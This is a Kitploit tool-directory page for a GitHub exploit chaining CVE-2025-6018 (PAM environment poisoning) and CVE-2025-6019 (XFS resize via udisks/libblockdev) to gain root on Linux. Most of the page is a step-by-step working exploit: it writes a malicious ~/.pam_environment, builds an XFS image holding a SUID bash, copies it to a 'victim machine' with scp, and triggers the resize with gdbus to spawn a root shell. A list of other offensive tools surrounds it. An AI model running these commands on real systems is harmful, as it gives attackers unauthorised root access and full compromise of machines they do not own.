Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-6018-and-CVE-2025-6019 — Exploit chain for privilege escalation via PAM environment poisoning (CVE-2025-6018) and XFS filesystem resize (CVE-2025-6019) to gain root shell on Linux systems. | Kitploit
Tools/GitHubGitHub/localh0ste/cve-2025-6018-and-cve-2025-6019
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHublocalh0ste/cve-2025-6018-and-cve-2025-6019

CVE-2025-6018-and-CVE-2025-6019

Share

Exploit chain for privilege escalation via PAM environment poisoning (CVE-2025-6018) and XFS filesystem resize (CVE-2025-6019) to gain root shell on Linux systems.

View Repository
1269 months agoNot yet reviewed

Check Its Vulnerable or not

rpm -q pam || dpkg -l | grep libpam

or

find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null

or
find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null

or

systemctl --version | head -1

If version Include :(Vulnerable PAM version detected ) ~Reference cve_2025_6018

"pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"

Exploit Steps

Creating malicious environment file (CVE-2025-6018 Environment Poisoning)

cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''
EOF

Create XFS Image (On own PC) and send to remote one

( CVE-2025-6019 -- Root Access via XFS Resize in libblockdev)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount

#Create SUID bit as /bash shell

chmod 04555 ./xfs.mount/bash
umount ./xfs.mount
gzip xfs.image
scp ./xfs.image.gz hostname@<ip>:/home/<username>

On Victim Machine

gzip -d xfs.image.gz
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

Reconnect To system ( ssh reconnect to activate active session )

udisksctl loop-setup --file ./xfs.image --no-user-interaction
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
 /tmp/blockdev*/bash -p

Get Root Shell

Reference: https://www.exploit-db.com/exploits/52386

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    968
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    347
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    319
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    297

Explore all tools

Browse our collection of tools

View all tools →